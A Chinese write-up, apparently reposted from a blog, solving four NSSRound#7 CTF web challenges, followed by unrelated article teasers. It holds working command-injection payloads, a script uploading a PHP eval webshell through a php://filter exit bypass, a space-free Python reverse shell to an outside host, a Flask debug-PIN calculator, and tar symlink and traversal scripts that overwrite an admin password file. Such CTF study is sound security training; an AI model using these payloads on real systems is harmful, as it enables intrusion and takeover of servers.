NSSRound#7

news2025/1/16 0:56:16

[NSSRound#7 Team]ec_RCE

源码:

<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

我丢??java

结果不是,发现action和data都是可控的,那就利用||来执行

payload:

action=||&data='cat /f*'

[NSSRound#7 Team]0o0

页面提示nothing,我们就扫目录试试看:

源码下载下来:

发现一个php文件:

 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
} NO0o0o0o0o!

前面都比较简单,直接贴payload了

?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7

就是这一段我们需要看一下:

<?php
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
   die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);

首先我们再了解一下死亡绕过,详情可以看file_put_content和死亡·杂糅代码之缘 - 先知社区

死亡绕过的三种形式:

($filename,"<?php exit();".$content);

($content,"<?php exit();".$content);

($filename,$content . "\nxxxxxx");

起初我不知道这个究竟是哪种形式

其实我们可以先写进内容,再用php伪协议读文件,这样就变成了第一种形式,因为这里的文件名和内容都是我们可控的。

写进内容:注意这里有文件名要求需要包含有png关键字,可以命名为xxx.png.php的形式,这样依旧是php文件,写进的内容要用base64编码一下:

记得写进内容的时候再PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOw==前面添加三个字符,这样可以避免base64的编码性质导致后面我们需要的内容解码错误。

读取文件:读取文件的时候带上伪协议就行了。

然后就可以写脚本了:

import requests
import base64

content = b"""aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+"""

url = "http://43.143.7.127:28524/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7"

data = {"submit": "Submit"}
files = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%31%31%2e%70%6e%67%2e%70%68%70', content, 'image/jpeg')}
resp = requests.post(url, data=data, files=files)
print(resp.text)

然后利用一句话木马就可以拿到flag了

[NSSRound#7 Team]ShadowFlag

这道题非常有意义呀,学习了很多

进入页面,可以拿到源码:

from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

代码逻辑比较简单,在/shell路由中有一个命令执行,但是这个命令执行把空格给过滤了,并且命令是没有回显的

我们的第一个思路就是反弹shell了,这样可以比较直接地得到命令回显。但是实践的时候我们遇到了这么几个问题:

1.curl使用发现并没有效果

2.wget也没有效果

3.部分python代码的反弹shell也没有效果(因为服务器本身就是flask,是依赖python的,我们可以利用python反弹shell)

在巨魔师傅的github仓库中,有一个反弹shell的payload合集:PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

在这里面我们可以找到空格被过滤的python反弹shell:

python3$IFS-c$IFS'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("xx.xx.xx.xx",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

这里没有空格可以利用$IFS或者%09来绕过,因为$IFS是在命令执行的时候换成空格,所以在action.find(" ")的时候并不会被检测到。

反弹shell之后,我们就可以开始寻找flag了。

第一个flag:我们可以发现第一个flag是利用open("/tmp/flag1.txt", "r")打开的,而且并没有使用close关闭,那么这个flask还在运行,我们就可以在/proc/[pid]/fd的内存中找到他。一般是存在15-35这个范围,我们一一寻找,最后 在/proc/16/fd/*中找到了

第一个flag比较简单

第二个flag:第二个flag就相对比较麻烦了,因为第二个flag是利用with open("/tmp/flag2.txt", "r") as f:打开的,用with会默认打开使用后关闭这个文件,我们就只能从flask的环境中去寻找flag2这个变量了,我们第一个就想到了利用console,但是利用console需要有Flask的Pin值,我们现在来看如何利用shell来计算Pin值

这个也算是第一次自己计算,因为这个脚本写的很清楚,所以比较有想去计算的欲望。

先贴上巨魔师傅的脚本:

# sha1算法,适用于高版本flask

# 无空格Python弹shell
# python3$IFS-c$IFS'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("192.168.23.38",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    str(int("02:42:ac:02:97:54".replace(":",""),16)),#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    "e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"2b48ec3fa912d576cd5bc1daaacc709a096dae18a7a7287c489125db138318a9"#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

这个脚本后面的注释都需要我们一一去计算,每次都需要重新计算再运行脚本,否则就会出现Pin不正确的情况。

我们先看:

probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

第一个是用户名,使用whoami就可以得到当前用户

第二个是默认值就不用改了

第三个是默认值也不用改了

第四个我们可以在报错页面得到,在/shell路由中不传入变量不为act的POST数据即可触发报错:

接着我们再来看

private_bits = [
    str(int("02:42:ac:02:97:54".replace(":",""),16)),#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    "e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"2b48ec3fa912d576cd5bc1daaacc709a096dae18a7a7287c489125db138318a9"#  /proc/self/cgroup
]

第一行02:42:ac:02:97:54是MAC地址,直接用命令cat /sys/class/net/eth0/address即可得到

第二行就算后面的2.和3.就可以了,一样的道理也是直接cat

然后把这两个值贴进去,然后计算得到Pin值

计算得到Pin值:

我们要得到flag2就需要在对应的环境中输入:

因为我们的程序是运行在如图所圈的环境下,所以在圈中输入Pin后输入flag2获取变量flag2

拼接两个flag就得到完整的flag了

后面还看到了不反弹shell的解法:NSS Round7_web - nLesxw - 博客园,有兴趣的师傅可以看看

[NSSRound#7 Team]新的博客

这一题是问了 Backr0d 师傅,Backr0d师傅给了一个非预期解一下就豁然开朗了。先说一下非预期解:

使用软连接覆盖掉 /用户/flag,然后利用这个flag文件连接指向/app/conf/userinfo.json达到覆盖的目的,只能说很高明,就是感觉这个路径问题得多尝试一下,这个/app应该是个根目录。

非预期解:

进入页面刚开始创建账号,登陆什么的就不多说了。

把这个加密字符解码一下:

得到一个路径,可以把文件下载下来

可以发现文件目录结构是这样的:

之后点开用户有这么几个功能点:

备份点击下载完的目录结构是这样的:

我们和上一个目录结构对比一下,也有一个flag,然后上面一个用户名,我们根据文件明猜测所有的用户都放在userData之下,包括admin用户。

所以非预期解就是利用博客恢复功能,上传tar.gz文件,利用这个flag软连接指向/app/conf/userinfo.json,然后再上传一个我们修改后的admin的sha1的json文件,就可以修改admin的密码

第一步:制作链接文件

然后把这个生成的upload.tar.gz上传

第二步:上传一个我们修改后的json文件

这个flag的内容可以用脚本生成:

import hashlib
import json

password = 'admin'
with open('userinfo.json', 'wb') as file:
    file.write(json.dumps({'admin': hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))

上传后,利用admin,admin就可以登陆成功了。点开第二个URL就可以看到flag了:

预期解:

预期解是利用目录穿越直接覆盖掉userinfo.json文件吧,在搞预期解的时候真的非常头疼,一直手撸不出来那个目录结构,同时利用官方WP的脚本一直报错,就很难受,无奈只能改一下脚本:

import os, hashlib, json

username = 'qingfeng' # 你注册时用的用户名,尽量别有奇怪的符号
admin_passwd = 'admin' # 之后要使用admin账户登陆时的密码

os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:
    tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')

就是创建那个..的目录一直恶心我受不了了。

然后就上传upload.tar.gz就行了,同样也可以拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/273617.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java综合实验1题目: 猜心术---猜姓氏游戏

一、 实验内容及要求 假设游戏者共有十人&#xff0c;且有10个不同的姓&#xff1a;张、王、李、赵、刘、于、许、金、钱、孙&#xff0c;魔术师将十个姓写在四张纸牌上&#xff0c;游戏者只需指出那几张纸上有自己的姓&#xff0c;魔术师就能准确的说出游戏者的姓&#xff0c…

ChatGPT 为我制作了一张地图

有人说&#xff1a;一个人从1岁活到80岁很平凡&#xff0c;但如果从80岁倒着活&#xff0c;那么一半以上的人都可能不凡。 生活没有捷径&#xff0c;我们踩过的坑都成为了生活的经验&#xff0c;这些经验越早知道&#xff0c;你要走的弯路就会越少。 今天在刷视频的时候看到了…

Java 并发在项目中的使用场景

1、并发编程的三个核心问题&#xff1a;&#xff08;1&#xff09;分工&#xff1a;所谓分工指的是如何高效地拆解任务并分配给线程&#xff08;2&#xff09;同步&#xff1a;而同步指的是线程之间如何协作&#xff08;3&#xff09;互斥&#xff1a;互斥则是保证同一时刻只允…

本科大数据专业能找到大数据开发的工作么

本科大数据专业能不能找到大数据开发的工作取决于你在校期间大数据学科学习的怎么样~ 目前大二就还有时间去学习&#xff0c;趁着空余时间找个完整的学习路线去学习&#xff0c;争取能够在校招的时候就找到心仪的工作技术过关的话是完全没有问题的&#xff0c;而且加上你还有兴…

PythonWeb开发基础(三)类Flask框架请求封装

课程地址&#xff1a;Python 工程师进阶技术图谱 文章目录类Flask框架请求封装HTTP请求解析的python实现1、解析查询字符串2、多值问题使用webob库解析请求Bug记录bug&#xff1a;AttributeError: module cgi has no attribute parse_qs类Flask框架请求封装 Web服务器 本质是…

【C++提高编程】list 容器详解(附测试用例与结果图)

目录1. list容器1.1 list基本概念1.2 list构造函数&#xff08;初始化&#xff09;1.3 list 赋值和交换1.4 list 大小操作1.5 list 插入和删除1.6 list 数据存取1.7 list 反转&#xff08;reverse&#xff09;、排序&#xff08;sort&#xff09;和去重&#xff08;unique&…

电脑技巧:电脑状态监控神器TrafficMonitor介绍

有的时候我们为了解决某些电脑问题&#xff0c;需要监控电脑的实时网速、CPU、内存等的占用情况。一般情况下我们可以打开电脑任务管理器&#xff0c;就可以实时监控硬件状态&#xff0c;但如果查看频率较高的话&#xff0c;需要每次进入任务管理器就显得比较麻烦。今天小编分享…

【漏洞修复】 CVE Linux 系统应用漏洞修复笔记

这里写自定义目录标题说明SSL/TLS协议信息泄露漏洞(CVE-2016-2183)漏洞信息解决办法验证方法修复步骤说明查询当前使用的openssl版本号下载并安装新版本的openssl替换nginx中使用的openssl到最新版说明 此文章主要记录工作中遇到的漏洞以及修复过程。 SSL/TLS协议信息泄露漏洞…

【LeetCode】员工的重要性 | 图像渲染 | 岛屿问题

​&#x1f320; 作者&#xff1a;阿亮joy. &#x1f386;专栏&#xff1a;《阿亮爱刷题》 &#x1f387; 座右铭&#xff1a;每个优秀的人都有一段沉默的时光&#xff0c;那段时光是付出了很多努力却得不到结果的日子&#xff0c;我们把它叫做扎根 目录&#x1f449;员工的重…

力扣SQL刷题4

目录1158. 市场分析 I1280. 学生们参加各科测试的次数1174. 即时食物配送 II585. 2016年的投资1158. 市场分析 I 题型&#xff1a;表1和表2连接时&#xff0c;如何把没有对应数据输出来。即表1中所有id列对应的表2数据输出&#xff0c;没用的输出0 解答1&#xff1a;left join…

【Linux】权限

&#x1f525;&#x1f525; 欢迎来到小林的博客&#xff01;&#xff01;       &#x1f6f0;️博客主页&#xff1a;✈️小林爱敲代码       &#x1f6f0;️博客专栏&#xff1a;Linux之路       &#x1f6f0;️社区&#xff1a; 进步学堂       …

关于软考的一些前期准备

国家软考的中级职称证书&#xff0c;含金量较高且没有报考资质限制 报名时间和考试时间具体请看官网&#xff1a;中国计算机技术职业资格网 不同的资格证书时间和要求不一样&#xff0c;注意查看 上半年&#xff1a; 下半年&#xff1a; 下半年&#xff1a; 软件评测师考试说…

Spring Boot 中事半功倍的一些工具类

系列文章地址&#xff1a;https://blog.csdn.net/perfect2011/article/details/124603278在日常开发中经常有这样那样的小功能需要实现&#xff0c;这些一般会作为工具类存在&#xff0c;在项目中有一些通用的功能&#xff0c;Spring内置了需要工具类&#xff0c;而且经过了大量…

京东一面:20种异步,你知道几种? 含协程

背景说明&#xff1a; 异步&#xff0c;作为性能调优核心方式之一&#xff0c;经常被用于各种高并发场景。 很多场景多会使用到异步&#xff0c;比如&#xff1a; 场景1&#xff1a; 超高并发 批量 写 mysql 、批量写 elasticSearch 场景2&#xff1a; 超高并发 批量 IO 场景…

30分钟掌握 Hive SQL 优化(解决数据倾斜)

Hive SQL 几乎是每一位互联网分析师的必备技能&#xff0c;相信每一位面试过大厂的童鞋都有被面试官问到 Hive 优化问题的经历。所以掌握扎实的 HQL 基础尤为重要&#xff0c;既能帮分析师在日常工作中“如鱼得水”提高效率&#xff0c;也能在跳槽时获得一份更好的工作 offer。…

【23种设计模式】设计模式介绍与分类

前言 本文为 【23种设计模式】设计模式介绍与分类 相关知识介绍&#xff0c;下边将对什么是设计模式&#xff0c;设计模式的分类与23种设计模式的关键点进行详尽介绍~ &#x1f4cc;博主主页&#xff1a;小新要变强 的主页 &#x1f449;Java全栈学习路线可参考&#xff1a;【…

蓝桥算法两周训练营--Day2:DP

T1&#xff1a;P1048 [NOIP2005 普及组] 采药 - 洛谷 代码&#xff1a; 1、二维Dp&#xff1a; package 蓝桥算法两周训练营__普及组.Day2_dp;import java.util.Scanner;/*** author yx* date 2023-02-05 13:16*/ public class t1 {// P1048 [NOIP2005 普及组] 采药 - 洛…

java春招大厂面试,差点让面试官给我聊挂喽!

作者&#xff1a;小傅哥 博客&#xff1a;https://bugstack.cn 沉淀、分享、成长&#xff0c;让自己和他人都能有所收获&#xff01; 八股文整的挺好&#xff0c;算法也刷的够多&#xff0c;但问到项目就很拉胯。 这可能是现在大部分没有实际项目经验的校招生和一直从事边角料开…

环境变量【Linux】

文章目录&#xff1a;Linux环境变量介绍常用的环境变量如何查看环境变量命令搜索路径PATH与环境变量相关的命令环境变量的组织方式通过代码的方式获取环境变量通过系统调用获取或设置环境变量环境变量的全局属性&#xff08;继承&#xff09;Linux环境变量介绍 环境变量&#…

【王道数据结构】第五章(下) | 树 | 二叉树

目录 一、树的存储结构 1、双亲表示法(顺序存储)&#xff1a; 2、孩子表示法(顺序链式) 3、孩子兄弟表示法(链式存储&#xff09; 二、树、森林的遍历 1、树的先根遍历 2、树的后根遍历 3、层序遍历&#xff08;队列实现&#xff09; 4、森林的遍历 三、二叉排序树 …